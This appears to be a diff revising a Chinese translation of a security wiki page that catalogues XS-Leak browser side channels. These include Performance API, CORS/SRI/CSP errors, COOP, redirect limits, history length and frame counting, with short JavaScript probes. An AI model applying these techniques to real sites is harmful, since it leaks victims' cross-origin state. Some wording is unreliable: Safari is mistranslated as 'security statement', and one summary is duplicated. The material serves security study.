在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管此内置功能已从 Google Chrome (GC) 中删除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能会意外阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
在安全声明 (SA) 中XSS 审计器最初旨在防止跨站脚本 (XSS) 攻击,但可以悖论地被利用来泄露敏感信息。尽管这一内置特性已从 Google Chrome (GC) 中移除,但在 SA 中仍然存在。2013 年Braun 和 Heiderich 证明 XSS 审计器可能无意中阻止合法脚本,导致误报。在此基础上,研究人员开发了提取信息和检测跨源页面特定内容的技术,这一概念被称为 XS-Leaks最初由 Terada 报告,并由 Heyes 在博客文章中详细阐述。尽管这些技术特定于 GC 中的 XSS 审计器,但发现 SA 中被 XSS 审计器阻止的页面不会在性能 API 中生成条目,从而揭示了一种可能仍然泄露敏感信息的方法。
### X-Frame 泄露
@ -341,7 +341,7 @@ connection-pool-example.md
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak](https://xsinator.com/testing.html#Performance%20API%20X-Frame%20Leak)
如果页面**不允许**在**iframe**中**呈现**,则不会**创建性能条目**。因此,攻击者可以检测响应头**`X-Frame-Options`**。\
使用**embed** **标签**时也是如此。
使用**embed**标签时也是如此。
### 下载检测
@ -351,7 +351,7 @@ connection-pool-example.md
- **总结**: 下载不会在性能 API 中创建资源计时条目。
- **代码示例**: [https://xsinator.com/testing.html#Performance%20API%20Download%20Detection](https://xsinator.com/testing.html#Performance%20API%20Download%20Detection)
与描述的 XS-Leak 类似,**由于 ContentDisposition 头而下载的资源**也**不会创建性能条目**。此技术在所有主要浏览器中均有效。
与描述的 XS-Leak 类似,因 ContentDisposition 头而**下载的资源**也**不会创建性能条目**。该技术在所有主要浏览器中均有效。
### 重定向开始泄露
@ -368,10 +368,10 @@ connection-pool-example.md
- **包含方法**: Fetch API
- **可检测差异**: 重定向
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.2)
- **总结**: 当发生重定向时,计时条目的持续时间为负
- **总结**: 当发生重定向时,计时条目的持续时间为负。
- **代码示例**: [https://xsinator.com/testing.html#Duration%20Redirect%20Leak](https://xsinator.com/testing.html#Duration%20Redirect%20Leak)
在 GC 中,导致**重定向**的请求的**持续时间**为**负**,因此可以与不导致重定向的请求**区分**开来。
在 GC 中,导致**重定向**的请求的**持续时间**为**负**,因此可以与不导致重定向的请求**区分**开来。
### CORP 泄露
@ -394,7 +394,7 @@ connection-pool-example.md
服务工作者是事件驱动的脚本上下文,在一个源上运行。它们在网页的后台运行,可以拦截、修改和**缓存资源**以创建离线 Web 应用程序。\
如果通过**iframe**访问**服务工作者**缓存的**资源**,该资源将从**服务工作者缓存**中**加载**。\
要检测资源是否**从服务工作者**缓存中加载,可以使用**性能 API**。\
这也可以通过计时攻击来完成(有关更多信息,请查看论文)。
这也可以通过计时攻击来完成(请查看论文以获取更多信息)。
### 缓存
@ -404,7 +404,7 @@ connection-pool-example.md
- **总结**: 可以检查资源是否存储在缓存中。
- **代码示例**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
使用 [性能 API](./#performance-api) 可以检查资源是否被缓存。
使用 [性能 API](#performance-api) 可以检查资源是否被缓存。
### 网络持续时间
@ -470,7 +470,7 @@ err.message +
audioElement.onerror = errHandler
}
```
`MediaError` 接口的 message 属性通过一个独特的字符串唯一标识成功加载的资源。攻击者可以通过观察消息内容来利用此特性,从而推断跨源资源的响应状态。
`MediaError` 接口的 message 属性通过一个独特的字符串唯一标识成功加载的资源。攻击者可以利用此特性,通过观察消息内容,从而推断跨源资源的响应状态。
### CORS 错误
@ -480,7 +480,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
此技术使攻击者能够**提取跨源站点重定向的目标**,通过利用基于 Webkit 的浏览器处理 CORS 请求的方式。具体而言,当向一个根据用户状态发出重定向的目标站点发送**CORS 启用请求**时,如果浏览器随后拒绝该请求,**重定向目标的完整 URL**将在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
此技术使攻击者能够**提取跨源站点重定向的目标**,通过利用 Webkit 基于浏览器处理 CORS 请求的方式。具体而言,当向目标站点发送一个**启用 CORS 的请求**,该站点根据用户状态发出重定向,而浏览器随后拒绝该请求时,**重定向目标的完整 URL** 会在错误消息中披露。此漏洞不仅揭示了重定向的事实,还暴露了重定向的端点及其可能包含的任何**敏感查询参数**。
### SRI 错误
@ -490,7 +490,7 @@ audioElement.onerror = errHandler
- **总结:** 在安全声明 (SA) 中CORS 错误消息无意中暴露了重定向请求的完整 URL。
- **代码示例**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**CORS 启用的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
攻击者可以利用**详细的错误消息**推断跨源响应的大小。这是由于子资源完整性 (SRI) 的机制,该机制使用完整性属性验证从 CDN 获取的资源是否未被篡改。为了使 SRI 在跨源资源上工作,这些资源必须是**启用 CORS 的**;否则,它们不受完整性检查。在安全声明 (SA) 中,类似于 CORS 错误 XS-Leak当带有完整性属性的 fetch 请求失败时,可以捕获错误消息。攻击者可以故意**触发此错误**,通过将**虚假的哈希值**分配给任何请求的完整性属性。在 SA 中,结果错误消息无意中揭示了请求资源的内容长度。这一信息泄露使攻击者能够别响应大小的变化,为复杂的 XS-Leak 攻击铺平了道路。
### CSP 违规/检测
@ -500,8 +500,8 @@ audioElement.onerror = errHandler
- **总结:** 如果我们访问的受害者网站尝试重定向到不同的域CSP 将触发可检测的错误。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并创建一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
现代浏览器不会指示重定向到的 URL但仍然可以检测到触发了跨源重定向。
XS-Leak 可以用 CSP 检测跨源站点是否重定向到不同的源。此泄漏可以检测重定向,但此外,重定向目标的域也会泄漏。此攻击的基本思路是**在攻击者站上允许目标域**。一旦向目标域发出请求,它**重定向**到一个跨源域。**CSP 阻止**对其的访问并生成一个**违规报告作为泄漏技术**。根据浏览器的不同,**此报告可能泄漏重定向的目标位置**。\
现代浏览器不会指示重定向到的 URL但仍然可以检测到跨源重定向已被触发
### 缓存
@ -523,7 +523,7 @@ XS-Leak 可以使用 CSP 检测跨源站点是否重定向到不同的源。此
- **总结:** CSP 头指令可以通过 CSP iframe 属性进行探测,揭示策略细节。
- **代码示例**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**并将策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者打开了一条路径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上设置属性来**提议内容安全策略 (CSP)**,策略指令与 HTTP 请求一起传输。通常,嵌入的内容必须**通过 HTTP 头进行授权**,否则将显示**错误页面**。然而,如果 iframe 已经受到 CSP 的管理,并且新提议的策略不更严格,则页面将正常加载。此机制为攻击者提供了一条途径,通过识别错误页面来**检测跨源页面的特定 CSP 指令**。尽管此漏洞被标记为已修复,但我们的发现揭示了一种**新的泄漏技术**,能够检测错误页面,表明根本问题从未完全解决。
### **CORP**
@ -533,19 +533,19 @@ Google Chrome (GC) 中的一个新功能允许网页通过在 iframe 元素上
- **总结:** 使用跨源资源策略 (CORP) 保护的资源在从不允许的源获取时会抛出错误。
- **代码示例**: [https://xsinator.com/testing.html#CORP%20Leak](https://xsinator.com/testing.html#CORP%20Leak)
CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止给定资源的无 CORS 跨源请求**。可以检测到该头的存在,因为受 CORP 保护的资源在被获取时会**抛出错误**。
### CORB
- **包含方法**: HTML 元素
- **可检测差异**: Headers
- **更多信息**: [https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header](https://xsleaks.dev/docs/attacks/browser-features/corb/#detecting-the-nosniff-header)
- **总结**: CORB 可以允许攻击者检测请求中是否存在**`nosniff` 头**。
- **总结**: CORB 可以攻击者检测请求中是否存在**`nosniff` 头**。
- **代码示例**: [https://xsinator.com/testing.html#CORB%20Leak](https://xsinator.com/testing.html#CORB%20Leak)
查看链接以获取有关攻击的更多信息。
### 在原点反射错误配置上的 CORS 错误 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
### Origin 反射错误配置的 CORS 错误 <a href="#cors-error-on-origin-reflection-misconfiguration" id="cors-error-on-origin-reflection-misconfiguration"></a>
- **包含方法**: Fetch API
- **可检测差异**: Headers
@ -553,8 +553,8 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结**: 如果 Origin 头在 `Access-Control-Allow-Origin` 头中被反射,则可以检查资源是否已经在缓存中。
- **代码示例**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用这种行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络中检索**的;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个带有允许原始域而不是攻击者域的 CORS 头的响应)。\
请注意,如果原点没有被反射,但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
如果**Origin 头**在 `Access-Control-Allow-Origin` 头中被**反射**,攻击者可以利用行为尝试在**CORS** 模式下**获取**该**资源**。如果**没有**触发**错误**,则意味着它是**正确地从网络获取的**;如果触发了错误,则是因为它是**从缓存中访问的**(错误出现是因为缓存保存了一个允许原始域而不是攻击者域的 CORS 头的响应)。\
请注意,如果未反射原点但使用了通配符 (`Access-Control-Allow-Origin: *`),则此方法将无效。
## 可读属性技术
@ -566,17 +566,17 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结:** GC 和 SA 允许在重定向完成后检查响应的类型 (opaque-redirect)。
- **代码示例**: [https://xsinator.com/testing.html#Fetch%20Redirect%20Leak](https://xsinator.com/testing.html#Fetch%20Redirect%20Leak)
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是一个重定向。
使用 Fetch API 提交请求,设置 `redirect: "manual"` 和其他参数,可以读取 `response.type` 属性,如果它等于 `opaqueredirect`,则响应是重定向。
### COOP
- **包含方法**: 弹出窗口
- **可检测差异**: Header
- **更多信息**: [https://xsinator.com/paper.pdf](https://xsinator.com/paper.pdf) (5.4), [https://xsleaks.dev/docs/attacks/window-references/](https://xsleaks.dev/docs/attacks/window-references/)
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **总结:** 受跨源打开策略 (COOP) 保护的页面防止跨源交互的访问。
- **代码示例**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
攻击者能够推断跨源 HTTP 响应中跨源打开策略 (COOP) 头的存在。COOP 被网络应用程序用于阻止外部站点获取任意窗口引用。可以通过尝试访问**`contentWindow` 引用**来识别此头的可见性。在 COOP 条件应用的情况下,**`opener` 属性**成为一个明显的指示器:当 COOP 活动时,它是**未定义的**,而在没有 COOP 的情况下是**定义的**。
### URL 最大长度 - 服务器端
@ -586,9 +586,9 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
- **总结:** 检测响应中的差异,因为重定向响应长度可能过大,服务器会回复错误并生成警报。
- **代码示例**: [https://xsinator.com/testing.html#URL%20Max%20Length%20Leak](https://xsinator.com/testing.html#URL%20Max%20Length%20Leak)
如果服务器端重定向使用**用户输入进行重定向**并且**附加数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用**该数据**并**添加**一些**额外的内容**,则会触发一个**可通过错误事件检测到的错误**。
如果服务器端重定向使用**用户输入进行重定向**并且**附加数据**。可以检测到这种行为,因为通常**服务器**有一个**请求长度限制**。如果**用户数据**是**长度 - 1**,因为**重定向**使用**该数据**并**添加**一些**额外的内容**,则会触发一个**可通过错误事件检测到的错误**。
如果您可以以某种方式将 cookies 设置给用户,您还可以通过**设置足够的 cookies**[**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
如果您可以以某种方式为用户设置 cookies您还可以通过**设置足够的 cookies** ([**cookie bomb**](../hacking-with-cookies/cookie-bomb.md)) 来执行此攻击,因此**正确响应**的**响应大小**增加会触发一个**错误**。在这种情况下,请记住,如果您从同一站点触发此请求,`<script>` 将自动发送 cookies因此您可以检查错误。\
有关**cookie bomb + XS-Search**的示例可以在此写作的意图解决方案中找到: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
`SameSite=None` 或处于相同上下文通常是此类攻击所需的。
@ -605,7 +605,7 @@ CORP 头是一个相对较新的网络平台安全特性,当设置时**阻止
> 一般来说_web 平台_ 对 URL 的长度没有限制(尽管 2^31 是一个常见限制。_Chrome_ 将 URL 限制为最大长度 **2MB**,出于实际原因并避免在进程间通信中造成拒绝服务问题。
因此,如果**重定向 URL 的响应在某些情况下更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时Chrome 会显示一个**`about:blank#blocked`** 页面。
因此,如果**重定向 URL 在某些情况下响应的大小更大**,则可以使其重定向到**大于 2MB 的 URL**以达到**长度限制**。当发生这种情况时Chrome 会显示一个**`about:blank#blocked`** 页面。
**显著差异**是,如果**重定向**已**完成**`window.origin` 会抛出一个**错误**,因为跨源无法访问该信息。然而,如果**限制**被****触发并且加载的页面是**`about:blank#blocked`**,则窗口的**`origin`** 保持为**父级**的值,这是一个**可访问的信息**。
@ -623,24 +623,24 @@ url-max-length-client-side.md
- **总结:** 利用浏览器的重定向限制来确定 URL 重定向的发生。
- **代码示例**: [https://xsinator.com/testing.html#Max%20Redirect%20Leak](https://xsinator.com/testing.html#Max%20Redirect%20Leak)
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则页面试图**重定向受害者**。
如果浏览器的**最大**重定向次数为**20**,攻击者可以尝试用**19 次重定向**加载他的页面,最后**将受害者**发送到测试页面。如果触发了**错误**,则表示页面试图**重定向受害者**。
### 历史长度
- **包含方法**: 框架, 弹出窗口
- **可检测差异**: 重定向
- **更多信息**: [https://xsleaks.dev/docs/attacks/navigations/](https://xsleaks.dev/docs/attacks/navigations/)
- **总结:** JavaScript 代码操纵浏览器历史记录,可以通过长度属性访问。
- **总结:** JavaScript 代码操纵浏览器历史,可以通过长度属性访问。
- **代码示例**: [https://xsinator.com/testing.html#History%20Length%20Leak](https://xsinator.com/testing.html#History%20Length%20Leak)
**历史 API** 允许 JavaScript 代码操纵浏览器历史记录**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**历史 API** 允许 JavaScript 代码操纵浏览器历史,**保存用户访问的页面**。攻击者可以使用长度属性作为包含方法:检测 JavaScript 和 HTML 导航。\
**检查 `history.length`**,使用户**导航**到一个页面,**返回**到同源并**检查**新值的**`history.length`**。
### 同一 URL 的历史长度
- **包含方法**: 框架, 弹出窗口
- **可检测差异**: 如果 URL 与猜测的 URL 相同
- **总结:** 可以通过历史长度猜测框架/弹出窗口的位置是否在特定 URL 中。
- **总结:** 可以通过历史长度的滥用来猜测框架/弹出窗口的位置是否在特定 URL 中。
- **代码示例**: 以下
攻击者可以使用 JavaScript 代码**操纵框架/弹出窗口的位置到猜测的 URL**,并**立即**将其**更改为 `about:blank`**。如果历史长度增加,则意味着 URL 是正确的,并且有时间**增加,因为如果 URL 相同则不会重新加载**。如果没有增加,则意味着它**尝试加载猜测的 URL**,但因为我们**立即之后**加载了**`about:blank`**,所以在加载猜测的 URL 时**历史长度从未增加**。
@ -666,34 +666,34 @@ console.log(await debug(win, "https://example.com/?a=b"))
- **Inclusion Methods**: Frames, Pop-ups
- **Detectable Difference**: 页面内容
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Summary:** 通过检查 `window.length` 属性评估 iframe 元素的数量。
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
计算通过 `iframe``window.open` 打开的 **网页中的帧数** 可能有助于识别 **用户在该页面上的状态**。\
此外,如果页面始终具有相同数量的帧,**持续** 检查帧数可能有助于识别可能泄露信息的 **模式**
这种技术的一个例子是,在 Chrome 中,**PDF** 可以通过 **帧计数****检测**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom``view``page``toolbar`,在这种情况下,这种技术可能会很有趣。
这种技术的一个例子是,在 Chrome 中,可以通过 **帧计数** 检测 **PDF**,因为内部使用了 `embed`。有一些 [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) 允许对内容进行一些控制,例如 `zoom``view``page``toolbar`,在这种情况下,这种技术可能会很有趣。
### HTMLElements
- **Inclusion Methods**: HTML 元素
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
- **Summary:** 读取泄露的值以区分 2 种可能的状态
- **Summary:** 读取泄露的值以区分种可能的状态
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。这可以被攻击者利用,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
通过 HTML 元素的信息泄露是网络安全中的一个问题,特别是当动态媒体文件基于用户信息生成时,或者当添加水印时,改变媒体大小。攻击者可以利用这一点,通过分析某些 HTML 元素暴露的信息来区分可能的状态。
### Information Exposed by HTML Elements
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[了解更多关于 HTMLMediaElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[了解更多关于 HTMLVideoElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[了解更多关于 getVideoPlaybackQuality() 的信息](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[了解更多关于 HTMLImageElement 的信息](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
- **HTMLMediaElement**: 该元素揭示媒体的 `duration``buffered` 时间,可以通过其 API 访问。[Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
- **HTMLVideoElement**: 它暴露 `videoHeight``videoWidth`。在某些浏览器中,额外的属性如 `webkitVideoDecodedByteCount``webkitAudioDecodedByteCount``webkitDecodedFrameCount` 可用,提供有关媒体内容的更深入信息。[Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
- **getVideoPlaybackQuality()**: 此函数提供有关视频播放质量的详细信息,包括 `totalVideoFrames`,这可以指示处理的视频数据量。[Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
- **HTMLImageElement**: 该元素泄露图像的 `height``width`。但是,如果图像无效,这些属性将返回 0并且 `image.decode()` 函数将被拒绝,表示未能正确加载图像。[Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
### CSS Property
- **Inclusion Methods**: HTML 元素
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle](https://xsleaks.dev/docs/attacks/element-leaks/#abusing-getcomputedstyle), [https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html](https://scarybeastsecurity.blogspot.com/2008/08/cross-domain-leaks-of-site-logins.html)
- **Summary:** 识别与用户状态或身份相关的网站样式变化。
@ -704,26 +704,26 @@ Web 应用程序可能会根据用户的状态更改 **网站样式**。跨域 C
### CSS History
- **Inclusion Methods**: HTML 元素
- **Inclusion Methods**: HTML Elements
- **Detectable Difference**: 页面内容
- **More info**: [https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history](https://xsleaks.dev/docs/attacks/css-tricks/#retrieving-users-history)
- **Summary:** 检测是否对 URL 应用 `:visited` 样式,指示其已被访问
- **Summary:** 检测 `:visited` 样式是否应用于 URL,指示其已被访问
- **Code Example**: [http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html](http://blog.bawolff.net/2021/10/write-up-pbctf-2021-vault.html)
> [!NOTE]
> 根据 [**这个**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) 的说法,这在无头 Chrome 中不起作用
> 根据 [**this**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/),在无头 Chrome 中此方法无效
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法揭示链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样式处理。过去,可以使用 `getComputedStyle()` 方法来识别这些样式差异。然而,现代浏览器已实施安全措施,以防止此方法泄露链接的状态。这些措施包括始终返回计算样式,仿佛链接已被访问,并限制可以使用 `:visited` 选择器应用的样式。
尽管有这些限制,但可以间接识别链接的访问状态。一种技术涉及诱使用户与受 CSS 影响的区域进行交互,特别是利用 `mix-blend-mode` 属性。该属性允许元素与其背景混合,可能根据用户交互揭示访问状态。
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差异。在 Chromium 错误报告中提到了一种概念证明 (PoC),演示了使用多个链接来放大时间差异,从而通过时间分析使访问状态可检测。
此外,可以通过利用链接的渲染时间来实现无用户交互的检测。由于浏览器可能以不同方式渲染已访问和未访问的链接,这可能在渲染中引入可测量的时间差异。在 Chromium 的一个错误报告中提到了一种概念验证PoC,演示了使用多个链接来放大时间差异,从而通过时间分析使访问状态可检测。
有关这些属性和方法的更多详细信息,请访问其文档页面:
- `:visited`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN 文档](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
- `:visited`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/:visited)
- `getComputedStyle()`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/API/Window/getComputedStyle)
- `mix-blend-mode`: [MDN Documentation](https://developer.mozilla.org/en-US/docs/Web/CSS/mix-blend-mode)
### ContentDocument X-Frame Leak
@ -733,7 +733,7 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 在 Google Chrome 中,当由于 X-Frame-Options 限制而阻止页面嵌入到跨域站点时,会显示专用错误页面。
- **Code Example**: [https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak](https://xsinator.com/testing.html#ContentDocument%20X-Frame%20Leak)
在 Chrome 中,如果一个设置了 `X-Frame-Options`为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
在 Chrome 中,如果一个带有 `X-Frame-Options` 头设置为 "deny" 或 "same-origin" 的页面作为对象嵌入则会出现错误页面。Chrome 独特地为该对象的 `contentDocument` 属性返回一个空文档对象(而不是 `null`),这与在 iframe 或其他浏览器中的表现不同。攻击者可以通过检测空文档来利用这一点,可能揭示有关用户状态的信息,特别是如果开发人员不一致地设置 X-Frame-Options 头,通常会忽略错误页面。意识到并一致应用安全头对于防止此类泄露至关重要。
### Download Detection
@ -743,15 +743,15 @@ CSS `:visited` 选择器用于对用户之前访问过的 URL 进行不同的样
- **Summary:** 攻击者可以通过利用 iframe 来识别文件下载iframe 的持续可访问性意味着文件下载成功。
- **Code Example**: [https://xsleaks.dev/docs/attacks/navigations/#download-bar](https://xsleaks.dev/docs/attacks/navigations/#download-bar)
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。这种行为可以被利用来检测用户是否可以访问触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
`Content-Disposition` 头,特别是 `Content-Disposition: attachment`,指示浏览器下载内容而不是内联显示。攻击者可以利用这一行为来检测用户是否访问了触发文件下载的页面。在基于 Chromium 的浏览器中,有几种技术可以检测这种下载行为:
1. **下载栏监控**
- 当文件在基于 Chromium 的浏览器中下载时,下载栏会出现在浏览器窗口底部。
- 当文件在基于 Chromium 的浏览器中下载时,浏览器窗口底部会出现下载栏
- 通过监控窗口高度的变化,攻击者可以推断下载栏的出现,表明下载已启动。
2. **使用 Iframes 的下载导航**
2. **使用 Iframe 进行下载导航**
- 当页面使用 `Content-Disposition: attachment` 头触发文件下载时,它不会导致导航事件。
- 通过在 iframe 中加载内容并监控导航事件,可以检查内容处置是否导致文件下载(无导航)或不是。
